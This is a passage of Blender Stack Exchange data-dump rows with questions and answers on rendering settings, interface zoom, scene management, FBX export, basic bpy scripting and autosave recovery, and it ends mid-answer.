  <row Id="14444" PostTypeId="2" ParentId="14431" CreationDate="2014-07-28T08:23:53.637" Score="3" Body="&lt;p&gt;The fastest flat-colour renders usually come from using Blender Render, although it's also possible in Cycles which may be quicker if you have a lot of geometry.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;Blender Render:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;All you need to do is enable &lt;em&gt;Shadeless&lt;/em&gt; on all your materials, and then the diffuse colour will be what controls the colour of that object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/r8Bm4.png&quot; alt=&quot;BI shadeless&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To be doubly sure you're not calculating anything unnecessary, delete any lights in the scene and disable all the &lt;em&gt;Shading&lt;/em&gt; options in the render settings (except for &lt;em&gt;Textures&lt;/em&gt; if you have any textures applied)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/DHnc4.png&quot; alt=&quot;BI Render settings&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;Cycles:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Use an &lt;em&gt;Emission Shader&lt;/em&gt; - this will indeed emit light (onto any other kind of shaders), but it won't have any shading on it and renders quickly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/aE96z.png&quot; alt=&quot;Cycles Emission&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you do that for all your materials, then there won't be any other surfaces to emit light on to. However, if you do have a few diffuse surfaces and want to prevent the objects from emitting light, just disable all but the &lt;em&gt;Camera&lt;/em&gt; rays for that object:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/pKkRa.png&quot; alt=&quot;Cycles Camera rays&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, just to make sure it's as fast as possible, set the render &lt;em&gt;Samples&lt;/em&gt; to something reasonable like 32 or 64 (or even lower if you're not too fussed about crisp edges), disable &lt;em&gt;Shadows&lt;/em&gt; and set the &lt;em&gt;Max&lt;/em&gt; and &lt;em&gt;Min&lt;/em&gt; bounces to 0:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/MqAWY.png&quot; alt=&quot;Cycles Render settings&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;If CPU is not being used fully:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Finally, while it's rendering take a look at your CPU usage in your OS's task manager. If it's not using 100% of the CPU, it can help to render with more than one Blender at a time:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7q2EX.png&quot; alt=&quot;Placeholders&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you disable &lt;em&gt;Overwrite&lt;/em&gt; and enable &lt;em&gt;Placeholders&lt;/em&gt;, Blender will create a small place-holder image as it starts rendering and won't rerender any frames where the image already exists. This way, if you open another Blender and render the exact same thing at the same time, they won't overlap and will be able to render at double the speed (unless of course your CPU usage was above 50%).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might still never get to 100% CPU usage if you're limited by your hard-drive/network speed or the amount of RAM available.&lt;/p&gt;&#xA;" OwnerUserId="9" LastEditorUserId="9" LastEditDate="2014-07-28T08:42:31.443" LastActivityDate="2014-07-28T08:42:31.443" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14445" PostTypeId="2" ParentId="14441" CreationDate="2014-07-28T08:59:30.823" Score="1" Body="&lt;p&gt;I am not sure why you would want this, as the end result will always be the same, but if it is just that you can see one part of the shot fully rendered than have a look at this:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Wkbsd.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Tiles&lt;/strong&gt;&#xA;Under Performance you choose your tile-size which is the size of one block (in pixels). You can set it to start from whichever part of the image you like (where it says centre), so if you have something in your shot which you want to see first rendered to the fullest make sure you set it to start, wherever the item of interest is.&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Threads&lt;/strong&gt;&#xA;You can also set a fixed number of threads and put it to one this way you will always have one tile processing at a time (but that just doesn't use the full capacity of your machine, so i suggest leave it at auto).&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Progressive Refinement&lt;/strong&gt;&#xA;What, I assume, you don't want is the progressive refinement box ticked, that will cause it to use another algorithm, which will show you the whole picture very quickly, and as the name suggests will refine it progressively over time. So make sure this is un-ticked, for achieving what you want.&lt;/p&gt;&#xA;" OwnerUserId="5341" LastActivityDate="2014-07-28T08:59:30.823" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14446" PostTypeId="1" CreationDate="2014-07-28T11:24:48.687" Score="1" ViewCount="69" Body="&lt;p&gt;I am attempting to build a light beam and so far it works as long as there is no objects behind. Once it steps over an object that is behind, the intensity seems to diminish its power depending on the qualities of the material behind.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like this not to happen, as I need a homogeneous streak. How could elements be influencing this scene and how could I change it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blender file: &lt;a href=&quot;http://we.tl/H7hwWtIqLL&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://we.tl/H7hwWtIqLL&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A visual example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/z3Wxu.png&quot; alt=&quot;Particles affected by an object behind&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5392" LastEditorUserId="5392" LastEditDate="2014-07-28T12:44:05.423" LastActivityDate="2014-07-28T13:43:51.257" Title="How are particle emitters affected by objects behind?" Tags="&lt;particles&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14447" PostTypeId="2" ParentId="5108" CreationDate="2014-07-28T11:41:14.527" Score="2" Body="&lt;p&gt;Use F-Curve Drivers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=jMoBFzXFAUM&quot; rel=&quot;nofollow&quot;&gt;https://www.youtube.com/watch?v=jMoBFzXFAUM&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use a scripted expression on the OWNER object's driver with the Target object set. By animating the TARGET object, the OWNER responds accordingly to the driver. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Eg: Two Cubes, CubeA and CubeB:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Add SINGLE DRIVER to CubeB's x rotation transform box.   &lt;/li&gt;&#xA;&lt;li&gt;Go to Graph window.&lt;/li&gt;&#xA;&lt;li&gt;Change from F-Curveto Drivers.&lt;/li&gt;&#xA;&lt;li&gt;Select it's X Rotation in the list on left side.&lt;/li&gt;&#xA;&lt;li&gt;Scroll down in the right side panel to find Drivers.&lt;/li&gt;&#xA;&lt;li&gt;Set Ob to CubeA Change Type to X Rotation (since we added single drive to x rotation).&lt;/li&gt;&#xA;&lt;li&gt;In the field under Script Expression:&#xA;Delete 0.00 and write var * 2 (var is the name of variable box we&#xA;changed the ob/type in).&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Now rotate on CubeA's x axis. CubeB rotates on the x axis at twice the speed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using this method, you will never have that 179-180 problem.&lt;/p&gt;&#xA;" OwnerUserId="5393" LastEditorUserId="241" LastEditDate="2014-07-28T12:13:53.163" LastActivityDate="2014-07-28T12:13:53.163" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14448" PostTypeId="1" AcceptedAnswerId="14449" CreationDate="2014-07-28T12:11:15.450" Score="3" ViewCount="186" Body="&lt;p&gt;While I was working on a game my logic editor tab got very tiny and I can barely see it! How do I undo or fix this? I am new to blender so I didn't want to really mess with anything yet until I know what it all does. So if someone could explain it to me that would be great. I also have join.me if anyone needs to check my screen for it. Thank you.&lt;/p&gt;&#xA;" OwnerUserId="5394" LastEditorUserId="241" LastEditDate="2014-07-28T12:22:36.607" LastActivityDate="2014-10-27T14:28:19.027" Title="Small Logic Editor Text" Tags="&lt;interface&gt;" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14449" PostTypeId="2" ParentId="14448" CreationDate="2014-07-28T12:28:02.300" Score="3" Body="&lt;p&gt;Hold &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;MMB &lt;img src=&quot;https://wiki.blender.org/uploads/7/7b/Template-MMB.png&quot; alt=&quot;MMB&quot;&gt;&lt;/kbd&gt; and drag left or right, or up and down to increase or decrease the size of the interface.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This works on many (but not all) of the 'areas' in blender, like the Graph Editor, Image Editor or the Properties area. It also works in the 3D view Toolbar (&lt;kbd&gt;T&lt;/kbd&gt;) and the Properties toolbar (&lt;kbd&gt;N&lt;/kbd&gt;).&lt;/p&gt;&#xA;" OwnerUserId="241" LastEditorUserId="-1" LastEditDate="2017-03-10T09:42:44.653" LastActivityDate="2014-07-28T14:10:32.187" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14450" PostTypeId="2" ParentId="14446" CreationDate="2014-07-28T13:43:51.257" Score="1" Body="&lt;p&gt;The problem is caused by the transparent material of the blue 'Cylinder'.&#xA;You can fix this by going to its material and then under the Transparency tab and setting your transparency method from 'Z Transparency' to 'Raytrace'.&#xA;This should fix your problem!&lt;/p&gt;&#xA;" OwnerUserId="5243" LastActivityDate="2014-07-28T13:43:51.257" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14451" PostTypeId="2" ParentId="14434" CreationDate="2014-07-28T13:53:18.730" Score="3" Body="&lt;p&gt;In the &lt;em&gt;Dope sheet&lt;/em&gt; you can select the keyframes and press &lt;kbd&gt;S&lt;/kbd&gt;. That will scale the space, or time, between the keyframes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the &lt;em&gt;Graph Editor&lt;/em&gt; it is the same process as the Dope sheet with one difference. Select the keyframes and press &lt;kbd&gt;S&lt;/kbd&gt; then press &lt;kbd&gt;X&lt;/kbd&gt;. If you do not constrain the scaling to the X axis it will also scale the size of the movement for the keyframes.&lt;/p&gt;&#xA;" OwnerUserId="2217" LastActivityDate="2014-07-28T13:53:18.730" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14452" PostTypeId="2" ParentId="14448" CreationDate="2014-07-28T14:01:47.847" Score="1" Body="&lt;p&gt;With the mouse in the Logic Editor, Node Editor, UV Image Editor, Timeline, Graph Editor, Dope Sheet, NLA Editor, Video Sequence Editor, or Movie Clip Editor you can simply scroll with the &lt;kbd&gt;MMB &lt;img src=&quot;https://wiki.blender.org/uploads/7/7b/Template-MMB.png&quot; alt=&quot;MMB&quot;&gt;&lt;/kbd&gt; to zoom in or out.&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="-1" LastEditDate="2017-03-10T09:42:44.653" LastActivityDate="2014-10-27T14:28:19.027" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14453" PostTypeId="2" ParentId="13644" CreationDate="2014-07-28T14:31:31.073" Score="2" Body="&lt;p&gt;I liked Mutant Bob's suggestion but since it's still early in production, I wanted to maintain a link to the original file so that when I texture it and add more practical effects to it, the master scene will update with those changes.&lt;p&gt;&#xA;The solution I came up with isn't perfect and might have unintended side effects, but it achieves my basic goals&#xA;Using Pablo Vazquez' tutorial &lt;a href=&quot;https://www.youtube.com/watch?v=bOLMkw_wDGE&quot; rel=&quot;nofollow noreferrer&quot;&gt;&quot;Modifying Properties on Linked/Proxy Objects&quot;&lt;/a&gt; as a guide, I was able to wade into python scripting and in the scene file, adjust the start/end times of the NLA tracks in the linked files.  &lt;p&gt; &lt;img src=&quot;https://i.stack.imgur.com/V0sWD.jpg&quot; alt=&quot;python console with edited linked model&quot;&gt;The adjusted tracks don't show in the NLA editor and I'm not sure what the effect will be with multiple instances of the linked groups but it's a start.&lt;p&gt; &#xA;Python also gave me the ability to hide specific linked objects so that the proxy objects that I wanted to include in a fluid simulation wouldn't appear to have duplicates under them.&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/YsVPE.png&quot; alt=&quot;basin before and after hiding linked object&quot;&gt;&lt;p&gt;&#xA;For anyone who wants to get started in python scripting, I found these links useful &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_64_release/info_quickstart.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Blender Python API quick start guide&lt;/a&gt;&lt;p&gt; -and this &lt;a href=&quot;https://docs.python.org/3/tutorial/index.html#tutorial-index&quot; rel=&quot;nofollow noreferrer&quot;&gt;primer tutorial on python&lt;/a&gt; &lt;p&gt;&#xA;&lt;p&gt; It contains explanations and 'how to's of python syntax and functions.&lt;/p&gt;&#xA;" OwnerUserId="4942" LastActivityDate="2014-07-28T14:31:31.073" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14454" PostTypeId="1" AcceptedAnswerId="14461" CreationDate="2014-07-28T14:47:19.623" Score="1" ViewCount="401" Body="&lt;p&gt;I'm trying this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;bpy.ops.object.select_all(action='DESELECT')&#xA;for o in bpy.data.objects:&#xA;    o.select = True&#xA;    bpy.ops.object.mode_set(mode='EDIT')&#xA;    bpy.ops.mesh.select_all(action='DESELECT')&#xA;    bpy.ops.mesh.select_mode(type='VERT')&#xA;    bpy.ops.mesh.select_loose()&#xA;    bpy.ops.mesh.delete(type='VERT')&#xA;    bpy.ops.object.mode_set(mode='OBJECT')&#xA;    o.select = False&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;when I manually assign an object like &lt;code&gt;o = bpy.data.objects[3]&lt;/code&gt; and then do every step manually in the python console it works. But with the loop it doesn't work. Is it a bug or am I missing something?&lt;/p&gt;&#xA;" OwnerUserId="5383" LastActivityDate="2014-07-28T18:52:52.577" Title="Ho do I write a script to remove loose geometry from all objects?" Tags="&lt;python&gt;&lt;scripting&gt;&lt;vertices&gt;&lt;geometry&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14455" PostTypeId="1" AcceptedAnswerId="14456" CreationDate="2014-07-28T15:23:33.210" Score="23" ViewCount="24632" Body="&lt;p&gt;I have two scenes in a blend file. How do I move a object from one scene to the other? Not between blend files, but within one blend file but two scenes.&lt;/p&gt;&#xA;" OwnerUserId="2217" LastActivityDate="2015-11-11T01:18:16.163" Title="How move object between scenes" Tags="&lt;workflow&gt;&lt;objects&gt;&lt;scene&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="14456" PostTypeId="2" ParentId="14455" CreationDate="2014-07-28T15:27:11.740" Score="20" Body="&lt;p&gt;You can use &lt;kbd&gt;Ctrl&lt;/kbd&gt;-&lt;kbd&gt;C&lt;/kbd&gt;,&lt;kbd&gt;Ctrl&lt;/kbd&gt;-&lt;kbd&gt;V&lt;/kbd&gt; to copy and paste objects from one scene to the next. They will be placed into the new scene at there original global coordinates. If you want the objects modified in one scene to update in the other,&lt;kbd&gt;Spacebar&lt;/kbd&gt;&gt;&lt;em&gt;Link Objects to Scene&lt;/em&gt;(&lt;kbd&gt;Ctrl&lt;/kbd&gt;-&lt;kbd&gt;L&lt;/kbd&gt; - &lt;em&gt;Thanks gandalf3&lt;/em&gt;).&lt;/p&gt;&#xA;" OwnerUserId="3127" LastEditorUserId="3127" LastEditDate="2015-11-11T01:18:16.163" LastActivityDate="2015-11-11T01:18:16.163" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14457" PostTypeId="1" CreationDate="2014-07-28T16:03:56.613" Score="1" ViewCount="11993" Body="&lt;p&gt;I have had no problems exporting .fbx files for Unity except recently some of my .fbx started to rotate the mesh. The asset is correctly oriented, but the mesh is rotated 90 degrees. Is there an explanation and fix for why this happens sometimes, and works properly otherwise?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/REbOt.png&quot; alt=&quot;Example Image of strange rotations&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5396" LastActivityDate="2016-02-17T14:16:35.573" Title="Unexpected rotation when exporting .fbx for Unity" Tags="&lt;export&gt;&lt;unity&gt;" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14459" PostTypeId="1" AcceptedAnswerId="14464" CreationDate="2014-07-28T17:16:14.057" Score="1" ViewCount="1370" Body="&lt;p&gt;Is there a way I can change or modify my mouse cursor in the 3d view while my custom operator is running?&lt;/p&gt;&#xA;" OwnerUserId="5243" LastEditorUserId="2217" LastEditDate="2014-07-28T18:55:50.677" LastActivityDate="2015-03-17T18:08:57.047" Title="Blender python custom mouse cursor" Tags="&lt;python&gt;&lt;scripting&gt;&lt;interface&gt;&lt;3d-view&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14460" PostTypeId="1" AcceptedAnswerId="14468" CreationDate="2014-07-28T17:37:04.603" Score="0" ViewCount="2602" Body="&lt;p&gt;So, i was planning to model a car in blender. I checked out many tutorials and videos regarding this, and saw that everyone was using blueprints to model the car. So my question is, Do we actually need blueprints or can we do well enough with reference images to look at. And, if at all blueprints are better choices, can you lead me to a good blueprint-setting up tutorial that would work perfectly. Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="5398" LastActivityDate="2014-07-28T19:56:03.540" Title="Do I need to even use blueprints?" Tags="&lt;modeling&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" ClosedDate="2014-07-29T03:43:57.820" ContentLicense="CC BY-SA 3.0" />
  <row Id="14461" PostTypeId="2" ParentId="14454" CreationDate="2014-07-28T18:52:52.577" Score="2" Body="&lt;p&gt;Set the active object:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.context.scene.objects.active = o&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and you should check wether the object is a mesh object:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if o.type == 'MESH': &#xA;    ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2271" LastActivityDate="2014-07-28T18:52:52.577" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14462" PostTypeId="2" ParentId="14440" CreationDate="2014-07-28T19:20:28.027" Score="2" Body="&lt;p&gt;You might try to use Dupli Verts:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Create your mesh object&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mesh = bpy.data.meshes.new(&quot;WorldLocations&quot;)&#xA;mesh.vertices.add(number_of_vertices)&#xA;#flat_vertex_coordinates x0, y0, z0, x1, y1, z1, ...&#xA;mesh.vertices.foreach_set(&quot;co&quot;, flat_vertex_coordinates)&#xA;&#xA;duplicator = bpy.data.objects.new(&quot;Duplicator&quot;, mesh)&#xA;bpy.context.scene.objects.link(duplicator)&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Parent your object to be duplicated:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;original = bpy.data.objects[original]&#xA;original.parent = duplicator&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Set the duplication type&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;duplicator.dupli_type = 'VERTS'&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Instead of bmesh you might also try &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_71_release/bpy.types.Mesh.html?highlight=mesh.from_pydata#bpy.types.Mesh.from_pydata%22test%22&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;Mesh.from_pydata&lt;/code&gt;&lt;/a&gt;. &#xA;The source code of this function is located at &lt;code&gt;scripts/modules/bpy_types.py&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="2271" LastEditorUserId="2271" LastEditDate="2014-07-28T19:26:31.260" LastActivityDate="2014-07-28T19:26:31.260" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14463" PostTypeId="2" ParentId="14413" CreationDate="2014-07-28T19:37:32.940" Score="16" Body="&lt;p&gt;The are three distinct backup systems. The autosave timer and the &lt;code&gt;.blend1&lt;/code&gt;, &lt;code&gt;.blend2&lt;/code&gt; files are part of separate systems.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From my answer &lt;a href=&quot;https://blender.stackexchange.com/a/14103/599&quot;&gt;here&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;There are several backup systems in Blender:&lt;/p&gt;&#xA;  &#xA;  &lt;h1&gt;Temporary files (saved every 2 minutes by default)&lt;/h1&gt;&#xA;  &#xA;  &lt;p&gt;These will be saved in your temporary directory (specified in &lt;em&gt;User&#xA;  preferences &gt; File&lt;/em&gt;) with a random number as the name.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;You can quickly open an auto saved file by pressing &lt;em&gt;File &gt; Recover&#xA;  auto save&lt;/em&gt;, then selecting the auto saved file (the modification times&#xA;  can be very useful for determining which file to pick):&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bzLpw.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;You can adjust the interval at which these are saved in&#xA;  &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;U&lt;/kbd&gt; &lt;em&gt;User preferences &gt; File &gt;&#xA;  Auto save &gt; Timer&lt;/em&gt;:&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5JoyM.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;h1&gt;Temporary quit files (saved on quit)&lt;/h1&gt;&#xA;  &#xA;  &lt;p&gt;These are also saved in your temporary directory, with the name&#xA;  &lt;code&gt;quit.blend&lt;/code&gt;. You can quickly open it by pressing &lt;em&gt;File &gt; Recover&#xA;  last session&lt;/em&gt;:&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/pZ7r8.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;h1&gt;Persistent save files for reverting accidental/unwanted saves (saved when saving)&lt;/h1&gt;&#xA;  &#xA;  &lt;p&gt;These are saved as &lt;code&gt;.blend1&lt;/code&gt;, &lt;code&gt;.blend2&lt;/code&gt;, etc. files in the same&#xA;  directory as the current .blend. .blend1 will be the file as it was&#xA;  the save before your last save, .blend2 will be the save before the&#xA;  save before your last save, etc.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;To open these files, navigate to the directory where your file was&#xA;  saved and enable backup files in the display filter:&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/TQLCK.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;You can configure the number of these to save in &lt;em&gt;User preferences &gt;&#xA;  File&lt;/em&gt;:&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZuwTo.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;hr&gt;&#xA;  &#xA;  &lt;p&gt;Without knowing more about your particular situation (how long it's&#xA;  been, has tmp been cleared, how often did you save, etc.), it's hard&#xA;  to say which will work best. There's no risk to trying them all, &lt;strong&gt;beware that &lt;code&gt;/tmp&lt;/code&gt; or &lt;code&gt;\Temp&lt;/code&gt; is normally cleared out at some point,&#xA;  so get any useful backups out while you can&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;On most Linux systems, &lt;code&gt;/tmp&lt;/code&gt; is either stored in RAM or cleared on startup, so files will not survive a crash/reboot.&lt;br&gt;&#xA;To avoid this, you can set your autosave directory to someplace besides &lt;code&gt;/tmp&lt;/code&gt;. See &lt;a href=&quot;https://blender.stackexchange.com/q/5222/599&quot;&gt;this question&lt;/a&gt; for details.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On Windows &lt;code&gt;Temp&lt;/code&gt; files are not deleted by default, so your backups should be floating around in there somewhere.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="12805" LastEditDate="2019-05-31T05:54:49.750" LastActivityDate="2019-05-31T05:54:49.750" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="14464" PostTypeId="2" ParentId="14459" CreationDate="2014-07-28T19:40:12.327" Score="4" Body="&lt;p&gt;A quick search for &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_71_release/search.html?q=cursor&amp;amp;check_keywords=yes&amp;amp;area=default&quot; rel=&quot;nofollow&quot;&gt;cursor&lt;/a&gt; yields &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_71_release/bpy.types.Window.html?highlight=cursor#bpy.types.Window.cursor_set&quot; rel=&quot;nofollow&quot;&gt;Window.cursor_set&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So i.e.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.context.window.cursor_set(&quot;HAND&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2271" LastActivityDate="2014-07-28T19:40:12.327" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14465" PostTypeId="1" AcceptedAnswerId="14469" CreationDate="2014-07-28T19:48:44.533" Score="9" ViewCount="21949" Body="&lt;p&gt;How to make a crystal material in cycles with the node editor?&#xA;Much like this - &lt;img src=&quot;https://i.stack.imgur.com/NhkMr.jpg&quot; alt=&quot;crystal material&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not exactly like the image because I'm trying to make an object with a light that is emitting from the center of the object lighting it towards the surface of the object as the light fades. And the object to be crystal like looking (the back faces to be visible too, like a real crystal). The &quot;layer weight&quot; node does something like that, but it shows the materials according to the camera angles and I don't want that. How can I achieve that?&lt;/p&gt;&#xA;" OwnerUserId="3398" LastEditorUserId="3398" LastEditDate="2014-07-28T21:34:49.260" LastActivityDate="2014-07-28T23:44:23.960" Title="How to make a crystal material?" Tags="&lt;cycles-render-engine&gt;&lt;materials&gt;&lt;shaders&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="14466" PostTypeId="5" CreationDate="2014-07-28T19:50:35.637" Score="0" Body="" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2014-07-28T19:50:35.637" LastActivityDate="2014-07-28T19:50:35.637" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14467" PostTypeId="4" CreationDate="2014-07-28T19:50:35.637" Score="0" Body="Questions about recovering files" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2014-07-28T19:50:35.637" LastActivityDate="2014-07-28T19:50:35.637" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14468" PostTypeId="2" ParentId="14460" CreationDate="2014-07-28T19:56:03.540" Score="1" Body="&lt;p&gt;Andrew Price did a tutorial on &lt;a href=&quot;http://www.blenderguru.com/tutorials/how-to-make-an-airplane-part-12/&quot; rel=&quot;nofollow&quot;&gt;modeling a 747&lt;/a&gt; where he used orthographic drawings of the plane as backgrounds in the scene and then modelled over the top of them.  The backgrounds can be associated with the view direction.&lt;p&gt;  He also suggested in his tutorial a web repository of ortho drawings that you can goto for different vehicles.  I think the images were free, but I'm not sure.&lt;p&gt;&#xA;Andrew goes through laying out and sizing background images, drawing over them and the other steps involved in constructing a model using this approach-which you see frequently in industrial design.&lt;p&gt;&#xA;The advantage of this approach as opposed to just using reference images, is that it gives you dimensionally accurate references for laying out your meshes, eliminating a lot of the guesswork in determining sizes and proportions of elements in an object-especially if the camera angle and lens make those difficult to gauge.&lt;p&gt;&#xA;As you gain experience and proficiency, you'll be able to rely on your memory more and incorporate your own ideas into the process.&#xA;&lt;p&gt;Experts like &lt;a href=&quot;https://alienseries.wordpress.com/tag/ron-cobb/&quot; rel=&quot;nofollow&quot;&gt;Ron Cobb&lt;/a&gt; and &lt;a href=&quot;http://sydmead.com/v/12/&quot; rel=&quot;nofollow&quot;&gt;Syd Meade&lt;/a&gt; can conjure incredible levels of detail and accuracy from their grey matter by virtue of being able to understand the interrelationships of geometry in their subjects and having exceptional control and discipline in their creative processes. So as to whether you can do well enough with reference images, I'd say that depends entirely on you and what you're trying to accomplish&lt;p&gt;&#xA;But if you were a Syd 